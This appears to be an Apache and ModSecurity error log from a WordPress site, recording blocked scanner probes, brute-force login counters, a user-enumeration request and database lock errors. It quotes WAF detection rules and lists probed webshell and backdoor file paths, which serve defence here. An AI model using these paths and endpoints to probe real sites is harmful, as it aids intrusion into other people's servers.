'a:2683:{s:15:\\"195.154.200.196\\";a:1:{i:0;i:1723473878;}s:13:\\"81.94.156.169\\";a:1:{i:2;i:1723917182;}s:13:\\"195.154.84.78\\";a:1:{i:0;i:1723489369;}s:14:\\"170.64.225.194\\";a:2:{i:1;i:1723490696;i:2;i:1723490699;}s:13:\\"64.233.173.96\\";a:1:{i:587;i:1757715684;}s:12:\\"40.77.167.45\\";a:1:{i:0;i:1723539245;}s:12:\\"40.77.167.30\\";a:1:{i:2;i:1740101853;}s:14:\\"74.125.208.138\\";a:1:{i:5;i:1739502371;}s:13:\\"146.75.190.39\\";a:2:{i:0;i:1723600199;i:1;i:1723600201;}s:15:\\"176.109.182.170\\";a:1:{i:0;i:1723638839;}s:15:\\"105.154.199.120\\";a:1:{i:0;i:1723673159;}s:15:\\"172.245.210.149\\";a:1:{i:2;i:1723698719;}s:13:\\"68.69.184.202\\";a:1:{i:2;i:1723703245;}s:14:\\"52.167.144.142\\";a:1:{i:1;i:1731148419;}s:14:\\"64.233.173.102\\";a:1:{i:509;i:1757915474;}s:13:\\"45.227.254.34\\";a:1:{i:1;i:1725900797;}s:14:\\"64.233.173.101\\";a:1:{i:581;i:1757760393;}s:14:\\"103.194.184.66\\";a:1...', referer: https://vetstars.com.au/%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5.aspx
[Tue Nov 18 18:44:32.725910 2025] [proxy_fcgi:error] [pid 44624:tid 44650] [client 66.249.64.64:36290] AH01071: Got error 'PHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('_transient_doing_cron', '1763462671.9262840747833251953125', 'on') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`) made by require('wp-blog-header.php'), require_once('wp-load.php'), require_once('wp-config.php'), require_once('wp-settings.php'), do_action('wp_loaded'), WP_Hook->do_action, WP_Hook->apply_filters, _wp_cron, spawn_cron, set_transient, add_optionPHP message: WordPress database error The total number of locks exceeds the lock table size for query UPDATE `wp_options` SET `option_value` = 'a:2683:{s:15:\\"195.154.200.196\\";a:1:{i:0;i:1723473878;}s:13:\\"81.94.156.169\\";a:1:{i:2;i:1723917182;}s:13:\\"195.154.84.78\\";a:1:{i:0;i:1723489369;}s:14:\\"170.64.225.194\\";a:2:{i:1;i:1723490696;i:2;i:1723490699;}s:13:\\"64.233.173.96\\";a:1:{i:587;i:1757715684;}s:12:\\"40.77.167.45\\";a:1:{i:0;i:1723539245;}s:12:\\"40.77.167.30\\";a:1:{i:2;i:1740101853;}s:14:\\"74.125.208.138\\";a:1:{i:5;i:1739502371;}s:13:\\"146.75.190.39\\";a:2:{i:0;i:1723600199;i:1;i:1723600201;}s:15:\\"176.109.182.170\\";a:1:{i:0;i:1723638839;}s:15:\\"105.154.199.120\\";a:1:{i:0;i:1723673159;}s:15:\\"172.245.210.149\\";a:1:{i:2;i:1723698719;}s:13:\\"68.69.184.202\\";a:1:{i:2;i:1723703245;}s:14:\\"52.167.144.142\\";a:1:{i:1;i:1731148419;}s:14:\\"64.233.173.102\\";a:1:{i:509;i:1757915474;}s:13:\\"45.227.254.34\\";a:1:{i:1;i:1725900797;}s:14:\\"64.233.173.101\\";a:1:{i:581;i:1757760393;}s:14:\\"103.194.184.66\\";a:1...'
[Tue Nov 18 22:14:53.156405 2025] [:error] [pid 57578:tid 57593] [client 103.4.122.14:43806] [client 103.4.122.14] ModSecurity: collections_remove_stale: Failed deleting collection (name "ip", key "35.206.102.42_ea9b60953de67eef6c4f45388342a018bd909f2c"): Internal error (specific information not available) [hostname "vetstars.com.au"] [uri "/wp-cron.php"] [unique_id "aRx_Wj9_jVUQm7Io75MYeAAAAI0"]
[Tue Nov 18 22:51:31.387182 2025] [:error] [pid 1387:tid 1412] [client 203.2.64.59:51817] [client 203.2.64.59] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aRyH80zBvalKyx3hMvWyygAAABM"]
[Wed Nov 19 05:09:37.313799 2025] [:error] [pid 6919:tid 6927] [client 113.219.218.197:44095] [client 113.219.218.197] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aRzgkUYFdN1s_9xJVUlc0wAAAQU"]
[Wed Nov 19 05:31:50.169344 2025] [:error] [pid 6554:tid 6578] [client 20.25.163.76:48018] [client 20.25.163.76] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 20.25.163.76, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aRzlxt8rvPWLafJFqmUtBgAAABI"], referer: https://www.google.de/
[Wed Nov 19 05:33:26.974104 2025] [:error] [pid 6644:tid 6668] [client 20.25.163.76:48083] [client 20.25.163.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "vetstars.com.au"] [uri "/filemanager.php"] [unique_id "aRzmJk0i6Rf788MB6sanHAAAANY"], referer: https://duckduckgo.com/
[Wed Nov 19 05:34:38.806991 2025] [:error] [pid 6644:tid 6657] [client 20.25.163.76:48105] [client 20.25.163.76] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.25.163.76, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aRzmbk0i6Rf788MB6saneQAAAMs"], referer: https://www.bing.com/
[Wed Nov 19 05:35:03.436198 2025] [autoindex:error] [pid 6556:tid 6624] [client 20.25.163.76:48004] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/blue/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.de/
[Wed Nov 19 05:35:10.899335 2025] [autoindex:error] [pid 6556:tid 6637] [client 20.25.163.76:48004] AH01276: Cannot serve directory /home/vetstars/public_html/wp-content/upgrade/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.fr/
[Wed Nov 19 05:35:11.057956 2025] [:error] [pid 6555:tid 6608] [client 20.25.163.76:48107] [client 20.25.163.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/style-engine/index.php"] [unique_id "aRzmj0bVJm8eMsGMTCNjiQAAAFE"], referer: https://www.google.fr/
[Wed Nov 19 05:35:34.330830 2025] [autoindex:error] [pid 6919:tid 6924] [client 20.25.163.76:48015] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Text/Diff/Renderer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.yahoo.com/
[Wed Nov 19 05:35:35.184185 2025] [autoindex:error] [pid 6919:tid 6930] [client 20.25.163.76:48015] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/style-engine/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.co.uk/
[Wed Nov 19 05:36:13.096173 2025] [autoindex:error] [pid 6919:tid 6924] [client 20.25.163.76:48015] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/IXR/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://duckduckgo.com/
[Wed Nov 19 05:36:13.262750 2025] [autoindex:error] [pid 6919:tid 6927] [client 20.25.163.76:48015] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/block-supports/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.com/
[Wed Nov 19 05:36:14.469606 2025] [autoindex:error] [pid 6919:tid 6930] [client 20.25.163.76:48015] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/fonts/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.co.uk/
[Wed Nov 19 05:36:14.654366 2025] [:error] [pid 6919:tid 6946] [client 20.25.163.76:48015] [client 20.25.163.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aRzmzkYFdN1s_9xJVUlqywAAARg"], referer: https://www.google.co.uk/
[Wed Nov 19 05:36:18.784705 2025] [autoindex:error] [pid 6556:tid 6621] [client 20.25.163.76:48094] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/crop/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.bing.com/
[Wed Nov 19 05:36:18.950520 2025] [autoindex:error] [pid 6556:tid 6636] [client 20.25.163.76:48094] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/rest-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://duckduckgo.com/
[Wed Nov 19 05:36:19.165892 2025] [autoindex:error] [pid 6556:tid 6619] [client 20.25.163.76:48094] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.fr/
[Wed Nov 19 07:30:43.550890 2025] [:error] [pid 6554:tid 6561] [client 18.191.165.250:57554] [client 18.191.165.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aR0Bo98rvPWLafJFqmVXEgAAAAI"]
[Wed Nov 19 07:30:43.941690 2025] [:error] [pid 26664:tid 26685] [client 18.191.165.250:57574] [client 18.191.165.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aR0Bo4pWc1yoj2P7MeASWwAAAVE"]
[Wed Nov 19 07:30:44.332106 2025] [:error] [pid 26664:tid 26672] [client 18.191.165.250:57593] [client 18.191.165.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aR0BpIpWc1yoj2P7MeASXgAAAUU"]
[Wed Nov 19 07:30:44.721529 2025] [:error] [pid 26664:tid 26679] [client 18.191.165.250:57635] [client 18.191.165.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aR0BpIpWc1yoj2P7MeASXwAAAUw"]
[Wed Nov 19 15:35:49.458432 2025] [:error] [pid 6644:tid 6654] [client 49.51.204.74:43182] [client 49.51.204.74] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aR1zVU0i6Rf788MB6sZ3EAAAAMg"]
[Wed Nov 19 15:47:18.099278 2025] [:error] [pid 6554:tid 6580] [client 52.167.144.218:23253] [client 52.167.144.218] ModSecurity: Access denied with code 403 (phase 2). Invalid URL Encoding: Non-hexadecimal digits used at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "82"] [id "210381"] [rev "6"] [msg "COMODO WAF: URL Encoding Abuse Attack Attempt||vetstars.com.au|F|4"] [data "REQUEST_URI=/\\x17\\x14%-\\x07@%h\\x19*%g-\\x15\\x1f"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/\\x17\\x14%-\\x07@%h\\x19*%g-\\x15\\x1f"] [unique_id "aR12Bt8rvPWLafJFqmXRhAAAABQ"]
[Wed Nov 19 19:56:08.545339 2025] [authz_core:error] [pid 12643:tid 12649] [client 85.17.61.121:36090] AH01630: client denied by server configuration: /home/vetstars/public_html/wp-content/plugins/google-analytics-premium/readme.txt
[Wed Nov 19 19:56:43.971648 2025] [authz_core:error] [pid 12673:tid 12714] [client 85.17.61.121:58644] AH01630: client denied by server configuration: /home/vetstars/public_html/wp-content/plugins/google-analytics-premium/readme.txt
[Wed Nov 19 20:35:57.256068 2025] [:error] [pid 6556:tid 6633] [client 104.196.176.201:57904] [client 104.196.176.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/media/system/js/core.js"] [unique_id "aR25rZuL7hhgrmdM1msnaQAAAI8"]
[Wed Nov 19 21:02:52.087868 2025] [:error] [pid 6554:tid 6577] [client 185.50.25.14:32391] [client 185.50.25.14] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.50.25.14, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aR2__N8rvPWLafJFqmUAOQAAABE"]
[Wed Nov 19 21:02:56.736714 2025] [:error] [pid 6644:tid 6664] [client 185.50.25.14:60905] [client 185.50.25.14] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.50.25.14, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aR3AAE0i6Rf788MB6sbY5AAAANI"], referer: http://vetstars.com.au/wp-login.php
[Wed Nov 19 21:03:00.765386 2025] [:error] [pid 12672:tid 12699] [client 185.50.25.14:60907] [client 185.50.25.14] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users"] [unique_id "aR3ABP9vojl6X1cc5mU0cQAAAdY"], referer: http://vetstars.com.au/wp-login.php
[Wed Nov 19 21:03:02.271679 2025] [:error] [pid 6555:tid 6598] [client 185.50.25.14:60911] [client 185.50.25.14] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.50.25.14, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aR3ABkbVJm8eMsGMTCM5GAAAAEc"], referer: https://vetstars.com.au/wp-login.php?redirect_to=https%3A%2F%2Fvetstars.com.au%2Fwp-admin%2F
[Wed Nov 19 22:42:56.286180 2025] [:error] [pid 6919:tid 6945] [client 43.128.149.102:39384] [client 43.128.149.102] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aR3XcEYFdN1s_9xJVUmVwQAAARc"]
[Thu Nov 20 02:23:41.064970 2025] [:error] [pid 50475:tid 50537] [client 91.92.242.56:59812] [client 91.92.242.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/excel-like-price-change-for-woocommerce-and-wp-e-commerce-light/readme.txt"] [unique_id "aR4LLVzRy2BTBjqrUmk3dgAAAQ8"]
[Thu Nov 20 02:23:41.628480 2025] [:error] [pid 8365:tid 8378] [client 91.92.242.56:60223] [client 91.92.242.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/excel-like-price-change-for-woocommerce-and-wp-e-commerce-light/readme.txt"] [unique_id "aR4LLRhyiKKdRMrEbr2sPwAAAok"]
[Thu Nov 20 02:23:42.215776 2025] [:error] [pid 50236:tid 50363] [client 91.92.242.56:60534] [client 91.92.242.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/excel-like-price-change-for-woocommerce-and-wp-e-commerce-light/readme.txt"] [unique_id "aR4LLmT-l-atWVKihhstngAAAIE"]
[Thu Nov 20 06:40:25.159698 2025] [:error] [pid 34444:tid 34453] [client 58.49.233.126:57177] [client 58.49.233.126] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aR5HWVNEol4jlmmA_GOd7gAAAUc"]
[Thu Nov 20 07:08:07.773614 2025] [:error] [pid 55343:tid 55416] [client 185.223.152.75:39189] [client 185.223.152.75] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/advanced-product-fields-for-woocommerce/db.php"] [unique_id "aR5N11WlO3EnyVMV7w4MpAAAAJE"]
[Thu Nov 20 07:08:08.466144 2025] [:error] [pid 55342:tid 55381] [client 185.223.152.91:25143] [client 185.223.152.91] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/so-pinyin-slugs/inc/main_json.php"] [unique_id "aR5N2Lg6x32Tvk7fIG9NKAAAAEk"]
[Thu Nov 20 07:08:09.135458 2025] [:error] [pid 55343:tid 55422] [client 185.223.152.85:33397] [client 185.223.152.85] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/theme-check/main.php"] [unique_id "aR5N2VWlO3EnyVMV7w4MpwAAAJc"]
[Thu Nov 20 07:08:09.818262 2025] [:error] [pid 55340:tid 55347] [client 185.223.152.68:42175] [client 185.223.152.68] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/index.php"] [unique_id "aR5N2fOxD-NeMydTybDTLAAAAAI"]
[Thu Nov 20 07:08:10.532253 2025] [:error] [pid 34405:tid 34416] [client 185.223.152.87:27129] [client 185.223.152.87] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/covr-wpcom/assets/fonts/manrope_normal.php"] [unique_id "aR5N2jFpvu8oRK7ATfuFswAAAQk"]
[Thu Nov 20 07:08:11.204404 2025] [:error] [pid 34444:tid 34466] [client 185.223.152.72:59461] [client 185.223.152.72] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/222.php"] [unique_id "aR5N21NEol4jlmmA_GOnlAAAAVQ"]
[Thu Nov 20 07:08:11.871888 2025] [:error] [pid 55340:tid 55367] [client 185.223.152.90:21669] [client 185.223.152.90] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/wp-parsidate/includes/admin/acf-fields-adyrui.php"] [unique_id "aR5N2_OxD-NeMydTybDTLgAAABY"]
[Thu Nov 20 07:08:12.543124 2025] [:error] [pid 34444:tid 34451] [client 185.223.152.82:50165] [client 185.223.152.82] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/aback.php"] [unique_id "aR5N3FNEol4jlmmA_GOnlQAAAUU"]
[Thu Nov 20 07:08:13.217071 2025] [:error] [pid 55343:tid 55419] [client 185.223.152.82:24043] [client 185.223.152.82] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/new.php"] [unique_id "aR5N3VWlO3EnyVMV7w4MqQAAAJQ"]
[Thu Nov 20 07:08:13.886200 2025] [:error] [pid 34405:tid 34410] [client 185.223.152.70:58305] [client 185.223.152.70] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/ad.php"] [unique_id "aR5N3TFpvu8oRK7ATfuFtAAAAQM"]
